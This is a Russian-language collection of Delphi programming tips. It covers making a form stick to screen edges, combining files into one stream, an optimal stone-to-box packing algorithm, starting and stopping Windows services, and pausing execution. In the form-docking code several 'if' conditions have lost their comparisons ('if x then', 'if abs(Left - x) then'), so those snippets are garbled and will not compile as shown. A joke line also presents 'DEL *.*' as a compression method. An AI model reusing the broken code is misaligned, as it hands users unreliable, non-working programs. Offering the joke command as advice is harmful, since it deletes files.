Конечно же в Win API такой возможности не предусмотрено, поэтому мы воспользуемся сообщениями Windows. Как нам извесно, Delphi обрабатывает сообщения через события, генерируя его в тот момент, когда Windows посылает сообщений приложению. Однако некоторые сообщения не доходят до нас. Например, при изменении размеров формы, генерируется событие OnResize, соотвествующее сообщению WM_SIZE, но при перетаскивании формы никакой реакции не происходит. Конечно же форма может получить это сообщение, но изначально никаких действий для данного сообщения не предусмотрено.
Итак, при перемещении, окну посылается сообщение WM_MOVING. Обрабатывая данной сообщение, приложение может отслеживать размер и расположение перетаскиваемого квадрата и, при необходимости, изменять их.
Так же существует сообщение WM_WINDOWPOSCHANGING, которое посылается окну, в случае, если его размер, расположение или место в Z порядке собираются измениться, как результат вызова функции SetWindowPos либо другой функции управления окном.
Чаще всего с сообщением передаются дополнительные параметры, которые сообщают нам необходимую информацию. Например, сообщение WM_MOVE, указывающее на то, что форма изменила своё местоположение, так же передаёт в параметре LPARAM новые координаты X и Y.
Сообщение WM_WINDOWPOSCHANGING передаёт нам ТОЛЬКО один параметр - указатель на структуру WindowPos, которая содержит информацию о новом размере и местоположении окна. Вот как выглядит структура WindowPos:
TWindowPos = packed record
hwnd: HWND; {Identifies the window.}
hwndInsertAfter: HWND; {Window above this one}
x: Integer; {Left edge of the window}
y: Integer; {Right edge of the window}
cx: Integer; {Window width}
cy: Integer; {Window height}
flags: UINT; {Window-positioning options.}
end;
|
Наша задача проста: нам необходима, чтобы форма прилипла к краю экрана, если она находится на определённом расстоянии от окна (допустим 20 пикселей).
Пример
К новой форме добавьте Label, один контрол Edit и четыре Check boxes. Измените имя контрола Edit на edStickAt. Измените имена чекбоксов на chkLeft, chkTop, и т.д... Для установки количества пикселей используем edStickAt, который будет использоваться для определения необходимого расстояния до края экрана достаточного для приклеивания формы.
Нас интересует только одно сообщение WM_WINDOWPOSCHANGING. Обработчик для данного сообщения будет объявлен в секции private. Ниже приведён полный код этого процедуры "прилипания" вместе с комментариями. Обратите внимание, что Вы можете предотвратить "прилипание" формы к определённому краю, путё снятия нужной галочки.
Для получения рабочей области декстопа (минус панель задач, панель Microsoft и т.д.), используем SystemParametersInfo, первый параметр которой SPI_GETWORKAREA.
...
private
procedure WMWINDOWPOSCHANGING(var Msg: TWMWINDOWPOSCHANGING);
message WM_WINDOWPOSCHANGING;
...
procedure TfrMain.WMWINDOWPOSCHANGING(var Msg: TWMWINDOWPOSCHANGING);
const
Docked: Boolean = FALSE;
var
rWorkArea: TRect;
StickAt : Word;
begin
StickAt := StrToInt(edStickAt.Text);
SystemParametersInfo(SPI_GETWORKAREA, 0, @rWorkArea, 0);
with Msg.WindowPos^ do
begin
if chkLeft.Checked then
if x then
begin
x := rWorkArea.Left;
Docked := TRUE;
end;
if chkRight.Checked then
if x + cx >= rWorkArea.Right - StickAt then
begin
x := rWorkArea.Right - cx;
Docked := TRUE;
end;
if chkTop.Checked then
if y then
begin
y := rWorkArea.Top;
Docked := TRUE;
end;
if chkBottom.Checked then
if y + cy >= rWorkArea.Bottom - StickAt then
begin
y := rWorkArea.Bottom - cy;
Docked := TRUE;
end;
if Docked then
begin
with rWorkArea do
begin
// не должна вылезать за пределы экрана
if x then
x := Left;
if x + cx > Right then
x := Right - cx;
if y then
y := Top;
if y + cy > Bottom then
y := Bottom - cy;
end; {ширина rWorkArea}
end;
end; {с Msg.WindowPos^}
inherited;
end;
end.
|
Теперь достаточно запустить проект и перетащить форму к любому краю экрана.
Вот собственно и всё.
Комментарии:
Автор: Nashev.
А так короче... И, ИМХО, лучше:
procedure TCustomGlueForm.WMWindowPosChanging1(var Msg: TWMWindowPosChanging);
var
WorkArea: TRect;
StickAt : Word;
begin
StickAt := 10;
SystemParametersInfo(SPI_GETWORKAREA, 0, @WorkArea, 0);
with WorkArea, Msg.WindowPos^ do
begin
// Сдвигаем границы для сравнения с левой и верхней сторонами
Right:=Right-cx;
Bottom:=Bottom-cy;
if abs(Left - x) then
x := Left;
if abs(Right - x) then
x := Right;
if abs(Top - y) then
y := Top;
if abs(Bottom - y) then
y := Bottom;
end;
inherited;
end;
|
В проекте осталось 2 глюка:
Если у формы, к которой прицепили другую форму за правую/нижнюю границы попробовать переместить эти границы, прицепленная форма останется на месте но все равно будет прикрепленной. Иногда 3 формы прикрепляются друг к другу, и иначе, как воспользовавшись 1-ым глюком, их не расцепить.Для использования сделанного в своих проектах надо добавить в проект, и свои формы создавать, наследуя от него, например, через мастер "File/New...".
В принципе, если липкость нужна без прилипания (а это уже работает без глюков) можно выкинуть все методы, кроме.
procedure WMWindowPosChanging(var Msg: TWMWindowPosChanging); message WM_WINDOWPOSCHANGING; |
И все переменные, а в самом WMWindowPosChanging удалить все упоминания этих переменных.
Как склеить несколько файлов в один и наоборот (работа с TStream).
| Лучший метод сжатия файлов: "DEL *.*" - 100% сжатие. |
Как-то раз понадобилось запихнуть много файлов в один поток(stream), так как необходимо было отправить их как один файл. Вот, что для этого было сделано:
Procedure TForm1.ThisISHowIPutFilesIn ;
var
ABigFileStream, SomeSmallFiles : TMemoryStream ;
begin
ABigFileStream := TMemoryStream.Create ;
try
SomeSmallFiles := TMemoryStream.Create ;
try
SomeSmallFiles.LoadFromFile('C:\SomeSmalFile1.txt');
AddToStream(SomeSmallFiles,ABigFileStream);
SomeSmallFiles.LoadFromFile('C:\SomeSmalFile2.txt');
AddToStream(SomeSmallFiles,ABigFileStream);
// enz
finally
SomeSmallFiles.Free ;
end;
ABigFileStream.SaveToFile('C:\MrBig.DDD')
finally
ABigFileStream.free ;
end;
end;
Procedure TForm1.ThisISHowIGetStufOut ;
var
ABigFileStream, SomeSmallFiles : TMemoryStream ;
begin
ABigFileStream := TMemoryStream.Create ;
try
ABigFileStream.LoadFromFile('C:\MrBig.DDD');
SomeSmallFiles := TMemoryStream.Create ;
try
GetFromStream(ABigFileStream,SomeSmallFiles,0);
SomeSmallFiles.SaveToFile('C:\SomeSmalFile1.txt');
GetFromStream(ABigFileStream,SomeSmallFiles,1);
SomeSmallFiles.SaveToFile('C:\SomeSmalFile2.txt');
// и т.д.
finally
SomeSmallFiles.Free ;
end;
finally
ABigFileStream.free ;
end;
end;
Procedure TForm1.AddToStream ( Source , Dest : TStream );
var
Size : Integer ;
begin
Source.position := 0 ;
// Сохраняем размер, помещая его в первый байт
Size := Source.Size ;
Dest.Write(Size,SizeOf(Integer));
Dest.CopyFrom(Source,Source.size);
end;
Procedure TForm1.GetFromStream ( Source , Dest : TStream ; Index : Integer );
Var
Size , I : Integer ;
begin
Source.Position := 0 ;
For i := 0 to index-1 do
begin
Source.Read(Size,SizeOf(Integer));
Source.Position := Source.Position + Size ;
end;
// Если марк¸р в файле равен размеру, то что-то пошло не так :(
if Source.position = Source.Size then
Raise EAccessViolation.Create('Index Out Of Bounds') ;
// Получаем желаемый размер файла
Source.Read(Size,SizeOf(Integer));
// Очищаем буфер у Dest
Dest.Position := 0 ;
Dest.Size := 0 ;
Dest.CopyFrom(Source,Size);
end;
|
Алгоритм оптимального распределения камней по ящикам.
Автор: Александр Шарахов WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Алгоритм оптимального распределения камней по ящикам
Зависимости: нет
Автор: Александр Шарахов, alsha@mailru.com, Москва
Copyright: Александр Шарахов
Дата: 4 марта 2003 г.
***************************************************** }
{-------------------------------------------------------------------------------
Алгоритм оптимального распределения камней по ящикам
(с) Александр Шарахов (alsha@mailru.com) 2002
--------------------------------------------------------------------------------
Разрешается использовать в некоммерческих продуктах и свободно распространять
при условии сохранения исходного текста.
--------------------------------------------------------------------------------
Литература.
Прототипом алгоритма послужила "Задача о куче камней", которую рассматривал
И.В. Романовский в своей книге "Алгоритмы решения экстремальных задач", "Наука",
М., 1977, с.248.
Алгоритм существенно переработан и дополнен, исправлены найденные ошибки.
--------------------------------------------------------------------------------
Постановка задачи. Входные данные.
Имеется StoneCount камней и BoxCount ящиков. Веса камней (целые положительные
числа) заданы в массиве StonesArray[0..StoneCount-1]. Требуется распределить
камни по ящикам так, чтобы вес самого тяжелого ящика был минимальным.
Очевидно, частным случаем является задача обеспечения равенства веса всех ящиков.
Возможны 2 варианта распределения:
1. Экономный вариант (FillAllBoxes=false). Ясно, что среди камней может
встретиться настолько тяжелый камень, что вес самого тяжелого ящика будет равен
весу этого камня, и для размещения всех камней может оказаться достаточно
меньшего количества ящиков. Использование всех ящиков никак не изменит вес самого
тяжелого ящика. Поэтому в экономном варианте разрешается использовать не все
имеющиеся ящики.
2. Расточительный вариант (FillAllBoxes=true). Здесь требуется обязательно
использовать все имеющиеся ящики. При этом вес ящиков, в которых находится ровно
один камень, не учитывается. Для остальных ящиков решается задача минимизации
веса самого тяжелого ящика.
Кроме того, для каждого из указанных вариантов, задав Equalize=true, можно
заказать выравнивание веса ящиков, т.е. потребовать, чтобы вес самого легкого
ящика был максимальным.
--------------------------------------------------------------------------------
Комментарии к решению. Выходные данные.
Если массив StonesArray[0..StoneCount-1] не отсортирован, то в начале работы
процедура выполняет сортировку его элементов по убыванию. Встроенная сортировка
неэффективна при больших StoneCount, поэтому целесообразно сортировать данные
до вызова процедуры более эффективным алгоритмом.
Для решения задачи применяется метод ветвей и границ. Промежуточные данные
в процессе вычислений хранятся в оперативной памяти. Потребности в памяти
составляют SizeOf(integer) * (Max(Stones[i]) + 3 * StoneCount + BoxCount).
Результат работы процедуры (размещение камней по ящикам) помещается в массив
BoxesArray[0..StoneCount-1], размер которого должен быть установлен до ее вызова.
Элементами этого массива являются индексы камней, увеличенные на 1. Индексы
первых камней в ящиках помечены знаком минус.
Дополнительная информация о решении помещается в переменные:
NeedBoxes - количество использованных ящиков, BigBoxes - количество ящиков,
в которых находится ровно один "большой" камень (FillAllBoxes=true),
BoxSize - размер ящиков, MaxWeight - максимальный вес ящика (может быть больше
BoxSize, если FillAllBoxes=true), MinWeight - минимальный вес ящика.
При работе процедуры возможно появление ошибочных ситуаций. Возвращаемые коды
ошибок: -1 - неверные входные данные, -2 - недостаточно оперативной памяти.
Работа алгоритма проверена на Delphi6 + Windows98.
-------------------------------------------------------------------------------}
unit OptBox; // Sha 2002
interface
procedure OptimizeBoxes(var StonesArray, BoxesArray: array of integer;
StoneCount, BoxCount: integer;
FillAllBoxes, Equalize: boolean;
var NeedBoxes, BigBoxes, BoxSize, MaxWeight, MinWeight: integer);
implementation
procedure OptimizeBoxes(var StonesArray, BoxesArray: array of integer;
StoneCount, BoxCount: integer;
FillAllBoxes, Equalize: boolean;
var NeedBoxes, BigBoxes, BoxSize, MaxWeight, MinWeight: integer);
var
Boxes: array[1..$3FFFFFFF] of integer absolute BoxesArray;
Stones: array[1..$3FFFFFFF] of integer absolute StonesArray;
Place: array of integer;
//[0..Stones[1]] В Place[w] - индекс тяжелейшего среди всех с весом не более w
Left, Right: array of integer;
//[0..StoneCount+1] Левые и правые соседи для каждого камня
Used: array of integer;
//[1..StoneCount] Использованные камни, первый в ящике - отрицательный
Space: array of integer;
//[1..BoxCount] В Space[i] - свободное место в i-том ящике
StoneNo, UsedNo, SpaceNo: integer; //Индексы в соответствующих масивах
Zero: integer; //Камни с номерами 1..Zero лежат каждый в своем большом ящике
SumTotal: integer; //Общий вес всех камней
SumMin, SumMax, SumTest: integer; //Оценки веса самого тяжелого ящика
SpaceMin, SpaceMax, SpaceTest: integer; //Оценки недовеска самого легкого ящика
RestSpace, CurSpace: integer; //Остатки места: общий и в текущем ящике
ErrorCode: integer; //0=OK, -1=ошибка в параметрах, -2=недостаточно памяти
i, j, Weight: integer; //Временные
NewBox, EraseBox, BoxOK: boolean;
//Создать ящик, убить ящик, ящик заполнен удовлетворительно
Sorted: boolean; //Камни отсортированы (тяжелые раньше)
label
BoxingFailed, EqulizingFailed;
begin
;
//Проверим отсортированность массива
Sorted := true;
for i := 1 to StoneCount - 1 do
if Stones[i] < Stones[i + 1] then
begin
;
Sorted := false;
break;
end;
//Если массив не отсортирован, сортируем камни по убыванию веса (тяжелые раньше)
if not Sorted then
for i := 1 to StoneCount - 1 do
begin
;
Weight := Stones[i];
for j := i + 1 to StoneCount do
if Weight < Stones[j] then
begin
;
Stones[i] := Stones[j];
Stones[j] := Weight;
Weight := Stones[i];
end;
end;
//Не надо мучить мою программу плохими данными
ErrorCode := 0;
if (StoneCount <= 0) or (BoxCount <= 0)
or (length(StonesArray) < StoneCount) or (length(BoxesArray) < StoneCount)
or (Stones[1] >= 512 * 1024 * 1024) or (Stones[StoneCount] <= 0) then
ErrorCode := -1;
//Выделение памяти
if ErrorCode = 0 then
try
SetLength(Place, Stones[1] + 1);
SetLength(Left, StoneCount + 2);
SetLength(Right, StoneCount + 2);
SetLength(Used, StoneCount + 1); //Нулевой элемент не используется
SetLength(Space, BoxCount + 1); //Нулевой элемент не используется
except ErrorCode := -2;
end;
if ErrorCode <> 0 then
begin
;
NeedBoxes := ErrorCode;
BigBoxes := 0;
BoxSize := 0;
MaxWeight := 0;
MinWeight := 0;
end
else
begin
; //Если ErrorCode=0 будем решать задачу
SumTotal := 0;
Weight := Stones[1];
for i := 1 to StoneCount do
begin
;
SumTotal := SumTotal + Stones[i]; //Подсчет суммарного веса
for j := Stones[i] to Weight do
Place[j] := i; //Заполняем Place[]
Weight := Stones[i] - 1;
end;
for j := 0 to Weight do
Place[j] := StoneCount + 1; //Нет камней с таким весом
//Решение, которое всегда есть
NeedBoxes := 1;
BigBoxes := 0;
BoxSize := SumTotal;
Boxes[1] := -1;
for i := 2 to StoneCount do
Boxes[i] := i;
//Начальные значения оценок размера ящика:
//- для верхней решение точно существует,
//- ниже нижней решения точно нет.
SumMax := SumTotal; //Оценка решения сверху
if FillAllBoxes then
SumMin := Stones[StoneCount] //Оценка решения снизу
else
begin
;
SumMin := (SumTotal + BoxCount - 1) div BoxCount;
//Если в каждом ящике поровну
if SumMin < Stones[1] then
SumMin := Stones[1]; //Если есть большие камни
end;
//Мы будем проверять, подходит ли нам яшик размером (верхняя + нижняя граница)/2,
//затем в соответствии с результатом проверки сдвинем одну из границ:
//нижнюю - вверх, верхнюю - вниз.
//Когда границы совпадут, мы получим минимальный размер ящика.
repeat;
SumTest := (SumMin + SumMax) shr 1; //Округляем среднее вниз
//Подсчет перегруженных и полностью загруженных ящиков
//Т.к. в таких ящиках помещается (а может быть даже выступает при этом :)
//ровно один камень, то эти ящики можно исключить при поиске решения
Weight := 0;
Zero := 0;
while (Zero < StoneCount) and (Stones[Zero + 1] >= SumTest) do
begin
;
Weight := Weight + Stones[Zero + 1];
inc(Zero);
end;
//Остаток свободного пространства во всех коробках
RestSpace := SumTest * (BoxCount - Zero) - (SumTotal - Weight);
if RestSpace < 0 then
begin
;
SumMin := SumTest + 1; //Решения нет
goto BoxingFailed;
end;
UsedNo := Zero; //Не использован ни один камень после Zero
SpaceNo := Zero; //Не заполнили ни одного ящика после Zero
//Начальное заполнение массивов индексов соседей
for i := Zero to StoneCount do
begin
;
Right[i] := i + 1;
//Индекс правого соседа Right[Zero..StoneCount] (для всех камней)
Left[i + 1] := i;
//Индекс левого соседа Left[Zero+1..StoneCount+1] (для неиспользованных)
end;
Right[StoneCount + 1] := StoneCount + 1; //Соседи граничных - они сами
Left[Zero] := Zero;
if Zero < StoneCount then
repeat; //Раскладываем камни правее Zero
//Новый ящик
BoxOK := true; //Старый ящик перезаполнять не надо
NewBox := true; //Начнем формировать новый ящик
inc(SpaceNo); //Номер нового ящика
CurSpace := SumTest; //Ящик пуст, т.е. свободен полностью
StoneNo := Zero;
//Будем брать соседа Zero справа, т.е. самый тяжелый из оставшихся
repeat; //Продолжим заполнение ящика
//Отменяем предыдущие назначения
if not BoxOK then
repeat; //Плохой ящик - подправим
StoneNo := Used[UsedNo];
EraseBox := false; //Вернем этот камень
if StoneNo < 0 then
begin
; //Если камень был первым в ящике
StoneNo := -StoneNo;
EraseBox := true; //Флаг, что ящик надо убить
end;
dec(UsedNo); //Удаляем камень из списка использованных
Left[Right[StoneNo]] := StoneNo;
//Возвращаем его в левый и правый списки
for i := Left[StoneNo] to StoneNo - 1 do
Right[i] := StoneNo;
CurSpace := CurSpace + Stones[StoneNo];
//Освобождаем занятое им пространство
if EraseBox then
begin
; //Убьем ящик
dec(SpaceNo); //Стало на ящик меньше
if SpaceNo <= Zero then
begin
; //Если это был последний ящик
SumMin := SumTest + 1; //Решения нет
goto BoxingFailed;
end;
CurSpace := Space[SpaceNo];
//Свободное пространство в предыдущем ящике
end;
until not EraseBox; //Последним отменяем непервый камень в ящике
//Делаем новые назначения
while (UsedNo < StoneCount) //Пока есть камни
and (CurSpace >= Stones[Left[StoneCount + 1]]) do
begin
; //и есть место для самого мелкого
if BoxOK then
begin
; //Если ящик хороший (не после отмены) решаем что брать дальше
//Если новый ящик или места хватит любому будем брать соседа Zero
if NewBox or (CurSpace >= Stones[1]) then
StoneNo := Zero
//Если есть слишком тяжелые - первого подхоящего
else if StoneNo < Place[CurSpace] - 1 then
StoneNo := Place[CurSpace] - 1;
end; //Иначе соседа текущего
BoxOK := true; //Теперь ящик хороший - забыть про отмены
StoneNo := Right[StoneNo]; //Берем (делаем текущим) новый камень
if StoneNo = StoneCount + 1 then
break; //Если нет больше подходящих камней
inc(UsedNo);
Used[UsedNo] := StoneNo; //Фиксируем взятие
if NewBox then
begin
;
NewBox := false;
Used[UsedNo] := -StoneNo;
end;
CurSpace := CurSpace - Stones[StoneNo];
//Вычисляем недовесок в текущем ящике
Left[Right[StoneNo]] := Left[StoneNo];
//Левый сосед правого соседа взят
//Новый правый сосед у всех левее текущего
for i := Left[StoneNo] to StoneNo - 1 do
Right[i] := Right[StoneNo];
end;
//Требуется отмена, если текущий недовесок превысил остаток свободного пространства
BoxOK := (CurSpace <= RestSpace)
until BoxOK; //Вываливаемся, если заполнили нормально
Space[SpaceNo] := CurSpace; //Сохраним недовесок текущего ящика
RestSpace := RestSpace - CurSpace;
//Подсчет остатка свободного пространства
until UsedNo = StoneCount; //Пока не кончатся все камни
//Если мы здесь, значит решение найдено для ящиков размером SumTest
//Определяем минимальное свободное пространство по всем ящикам
if Zero < SpaceNo then
begin
;
CurSpace := Space[Zero + 1];
for i := Zero + 2 to SpaceNo do
if CurSpace > Space[i] then
CurSpace := Space[i];
end
else
CurSpace := 0;
//Вычисляем максимальный вес ящика (правее Zero) для найденного решения
SumMax := SumTest - CurSpace;
//Сохраняем найденное решение
NeedBoxes := SpaceNo;
BigBoxes := Zero;
BoxSize := SumMax;
for i := 1 to Zero do
Boxes[i] := -i; //Первые Zero ящиков
for i := Zero + 1 to StoneCount do
Boxes[i] := Used[i]; //Остальные
BoxingFailed:
until SumMin >= SumMax;
if Equalize and (BigBoxes + 1 < NeedBoxes) then
begin
;
//Вернемся к ранее найденному решению
Zero := BigBoxes;
//Суммарный вес камней Zero+1..StoneCount
Weight := 0;
for i := 1 to Zero do
Weight := Weight + Stones[i];
Weight := SumTotal - Weight;
//Начальные значения оценок максимального пространства в ящике:
//- для верхней решение точно существует,
//- ниже нижней решения точно нет.
SpaceMin := BoxSize - Weight div (NeedBoxes - Zero); //Оценка решения снизу
SpaceMax := SpaceMin; //Оценка решения сверху
Weight := BoxSize;
for i := StoneCount downto Zero + 1 do
begin
;
j := Boxes[i];
if j >= 0 then
Weight := Weight - Stones[j]
else
begin
;
Weight := Weight - Stones[-j];
if SpaceMax < Weight then
SpaceMax := Weight;
Weight := BoxSize;
end;
end;
//Мы будем проверять, можно ли распределить камни по ящикам так, чтобы
//в самом легком из них осталось места не больше (верхняя + нижняя граница)/2,
//затем в соответствии с результатом проверки сдвинем одну из границ:
//нижнюю - вверх, верхнюю - вниз.
//Когда границы совпадут, мы получим максимальный вес самого легкого ящика.
while SpaceMin < SpaceMax do
begin
;
SpaceTest := (SpaceMin + SpaceMax) shr 1; //Округляем среднее вниз
UsedNo := Zero; //Не использован ни один камень после Zero
SpaceNo := Zero; //Не заполнили ни одного ящика после Zero
//Начальное заполнение массивов индексов соседей
for i := Zero to StoneCount do
begin
;
Right[i] := i + 1;
//Индекс правого соседа Right[Zero..StoneCount] (для всех камней)
Left[i + 1] := i;
//Индекс левого соседа Left[Zero+1..StoneCount+1] (для неиспользованных)
end;
Right[StoneCount + 1] := StoneCount + 1; //Соседи граничных - они сами
Left[Zero] := Zero;
repeat; //Раскладываем камни правее Zero
//Новый ящик
BoxOK := true; //Старый ящик перезаполнять не надо
NewBox := true; //Начнем формировать новый ящик
inc(SpaceNo); //Номер нового ящика
CurSpace := BoxSize; //Ящик пуст, т.е. свободен полностью
StoneNo := Zero;
//Будем брать соседа Zero справа, т.е. самый тяжелый из оставшихся
repeat; //Продолжим заполнение ящика
//Отменяем предыдущие назначения
if not BoxOK then
repeat; //Плохой ящик - подправим
StoneNo := Used[UsedNo];
EraseBox := false; //Вернем этот камень
if StoneNo < 0 then
begin
; //Если камень был первым в ящике
StoneNo := -StoneNo;
EraseBox := true; //Флаг, что ящик надо убить
end;
dec(UsedNo); //Удаляем камень из списка использованных
Left[Right[StoneNo]] := StoneNo;
//Возвращаем его в левый и правый списки
for i := Left[StoneNo] to StoneNo - 1 do
Right[i] := StoneNo;
CurSpace := CurSpace + Stones[StoneNo];
//Освобождаем занятое им пространство
if EraseBox then
begin
; //Убьем ящик
dec(SpaceNo); //Стало на ящик меньше
if SpaceNo <= Zero then
begin
; //Если это был последний ящик
SpaceMin := SpaceMin + 1; //Решения нет
goto EqulizingFailed;
end;
CurSpace := Space[SpaceNo];
//Свободное пространство в предыдущем ящике
end;
until not EraseBox; //Последним отменяем непервый камень в ящике
//Делаем новые назначения
while (UsedNo < StoneCount) //Пока есть камни
and (CurSpace >= Stones[Left[StoneCount + 1]]) do
begin
; //и есть место для самого мелкого
if BoxOK then
begin
; //Если ящик хороший (не после отмены) решаем что брать дальше
//Если новый ящик или места хватит любому будем брать соседа Zero
if NewBox or (CurSpace >= Stones[1]) then
StoneNo := Zero
//Если есть слишком тяжелые - первого подхоящего
else if StoneNo < Place[CurSpace] - 1 then
StoneNo := Place[CurSpace] - 1;
end; //Иначе соседа текущего
BoxOK := true; //Теперь ящик хороший - забыть про отмены
StoneNo := Right[StoneNo]; //Берем (делаем текущим) новый камень
if StoneNo = StoneCount + 1 then
break; //Если нет больше подходящих камней
inc(UsedNo);
Used[UsedNo] := StoneNo; //Фиксируем взятие
if NewBox then
begin
;
NewBox := false;
Used[UsedNo] := -StoneNo;
end;
CurSpace := CurSpace - Stones[StoneNo];
//Вычисляем недовесок в текущем ящике
Left[Right[StoneNo]] := Left[StoneNo];
//Левый сосед правого соседа взят
//Новый правый сосед у всех левее текущего
for i := Left[StoneNo] to StoneNo - 1 do
Right[i] := Right[StoneNo];
end;
//Требуется отмена, если текущий недовесок превысил лимит
BoxOK := (CurSpace <= SpaceTest)
and ((SpaceNo < NeedBoxes) and (UsedNo <> StoneCount)
or (SpaceNo = NeedBoxes) and (UsedNo = StoneCount));
until BoxOK; //Вываливаемся, если заполнили нормально
Space[SpaceNo] := CurSpace; //Сохраним недовесок текущего ящика
until UsedNo = StoneCount; //Пока не кончатся все камни
//Если мы здесь, значит решение найдено для недовесков размером SpaceTest
//Определяем максимальное свободное пространство по всем ящикам (правее Zero)
SpaceMax := Space[Zero + 1];
for i := Zero + 2 to SpaceNo do
if SpaceMax < Space[i] then
SpaceMax := Space[i];
//Сохраняем только изменения основного решения
for i := Zero + 1 to StoneCount do
Boxes[i] := Used[i];
EqulizingFailed:
end; //для while SpaceMin<SpaceMax
end; //для Equalize
//Находим MaxWeight, MinWeight и правим BigBoxes для нашего решения
MaxWeight := -1;
MinWeight := -1;
Weight := 0;
for i := StoneCount downto 1 do
begin
;
j := Boxes[i];
if j >= 0 then
Weight := Weight + Stones[j]
else
begin
;
Weight := Weight + Stones[-j];
if MaxWeight < Weight then
MaxWeight := Weight;
if (MinWeight > Weight) or (MinWeight < 0) then
MinWeight := Weight;
if (i <= BigBoxes) and (Weight <= BoxSize) then
dec(BigBoxes);
Weight := 0;
end;
end;
end; //для ErrorCode=0
//Вернем память
Place := nil;
Left := nil;
Right := nil;
Used := nil;
Space := nil;
end;
end.
Пример использования:
unit BagU;
interface
uses
OptBox, SysUtils, Classes, Controls, Forms, StdCtrls;
type
TForm1 = class(TForm)
bCalculate: TButton;
edBoxCount: TEdit;
cbFillAllBoxes: TCheckBox;
cbEqualize: TCheckBox;
mStones: TMemo;
mBoxes: TMemo;
lBoxCount: TLabel;
lStones: TLabel;
lBoxes: TLabel;
procedure bCalculateClick(Sender: TObject);
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.bCalculateClick(Sender: TObject);
var
Boxes: array of integer;
Stones: array of integer;
BoxCount, StoneCount: integer;
FillAllBoxes, Equalize: boolean;
BoxSize, NeedBoxes, BigBoxes, MaxWeight, MinWeight: integer;
i, j, k: integer;
s: string;
begin
;
mBoxes.Lines.Clear;
try
FillAllBoxes := cbFillAllBoxes.Checked;
Equalize := cbEqualize.Checked;
BoxCount := StrToInt(Trim(edBoxCount.Text));
StoneCount := mStones.Lines.Count;
SetLength(Boxes, StoneCount);
SetLength(Stones, StoneCount);
for i := 0 to StoneCount - 1 do
Stones[i] := StrToInt(Trim(mStones.Lines[i]));
OptimizeBoxes(Stones, Boxes, StoneCount, BoxCount, FillAllBoxes, Equalize,
NeedBoxes, BigBoxes, BoxSize, MaxWeight, MinWeight);
if NeedBoxes > 0 then
begin
;
mBoxes.Lines.Add(Format('Надо ящиков: %d', [NeedBoxes]));
mBoxes.Lines.Add(Format('В т.ч. больших: %d', [BigBoxes]));
mBoxes.Lines.Add(Format('Размер ящиков: %d', [BoxSize]));
mBoxes.Lines.Add(Format('Макс. загрузка: %d', [MaxWeight]));
mBoxes.Lines.Add(Format('Мин. загрузка: %d', [MinWeight]));
k := 0;
for i := 0 to StoneCount - 1 do
begin
;
j := Boxes[i];
if j < 0 then
begin
;
j := -j;
inc(k);
if k <= BigBoxes then
s := 'o'
else
s := '';
mBoxes.Lines.Add(Format('------------%s %d', [s, k]));
end;
mBoxes.Lines.Add(IntToStr(Stones[j - 1]));
end;
end;
except
end;
Boxes := nil;
Stones := nil;
end;
end.
Остановка и запуск сервисов.
| Автор: Postmaster |
| - Почему Билл Гейтс избегает интимных отношений с юзерами? - Потому, что данное действие может быть квалифицировано, как незаконная попытка взять деньги дважды за, собственно говоря, однажды уже оказанный сервис. |
Unit1.dfm
object Form1: TForm1
Left = 192
Top = 107
Width = 264
Height = 121
Caption = 'Сервис'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
PixelsPerInch = 96
TextHeight = 13
object Label1: TLabel
Left = 2
Top = 8
Width = 67
Height = 13
Caption = 'Имя сервиса'
end
object Button1: TButton
Left = 4
Top = 56
Width = 95
Height = 25
Caption = 'Стоп сервис'
TabOrder = 0
OnClick = Button1Click
end
object Button2: TButton
Left = 148
Top = 56
Width = 95
Height = 25
Caption = 'Старт сервис'
TabOrder = 1
OnClick = Button2Click
end
object Edit1: TEdit
Left = 0
Top = 24
Width = 241
Height = 21
TabOrder = 2
Text = 'Messenger'
end
end
|
Unit1.pas.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Winsvc;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Edit1: TEdit;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
procedure StopService(ServiceName: string);
procedure Button2Click(Sender: TObject);
procedure StartService(ServiceName: string);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
StopService(Edit1.Text);
end;
procedure TForm1.StopService(ServiceName: string);
var
schService,
schSCManager: DWORD;
p: PChar;
ss: _SERVICE_STATUS;
begin
p := nil;
schSCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
if schSCManager = 0 then
RaiseLastWin32Error;
try
schService := OpenService(schSCManager, PChar(ServiceName),
SERVICE_ALL_ACCESS);
if schService = 0 then
RaiseLastWin32Error;
try
if not ControlService(schService, SERVICE_CONTROL_STOP, SS) then
RaiseLastWin32Error;
finally
CloseServiceHandle(schService);
end;
finally
CloseServiceHandle(schSCManager);
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
StartService(Edit1.Text);
end;
procedure TForm1.StartService(ServiceName: string);
var
schService,
schSCManager: Dword;
p: PChar;
begin
p := nil;
schSCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
if schSCManager = 0 then
RaiseLastWin32Error;
try
schService := OpenService(schSCManager, PChar(ServiceName),
SERVICE_ALL_ACCESS);
if schService = 0 then
RaiseLastWin32Error;
try
if not Winsvc.startService(schService, 0, p) then
RaiseLastWin32Error;
finally
CloseServiceHandle(schService);
end;
finally
CloseServiceHandle(schSCManager);
end;
end;
end.
|
Приостановить работу программы.
| - После того как на МИГ-29 установили операционную систему Windows 2000, он совершил невероятную фигуру высшего пилотажа. - И какую же? - Он ЗАВИС!!! |
Используйте Sleep(Milliseconds). Программа перестает работать на указанное в скобках количество тысячных секунд. Погрешность на моем компьютере, а он не старый, до 10 мсек. При этом способе ничего не происходит, даже перерисовка. Чтобы этого избежать можно использовать другой способ.
procedure TForm1.Button1Click(Sender: TObject);
var
t: integer;
begin
t := GetTickCount;
repeat
Application.ProcessMessages
until
GetTickCount - t >= 1000;
Button1.Caption := Button1.Caption + '1';
end;
|
Как остановить автодобавление из DBGrid.
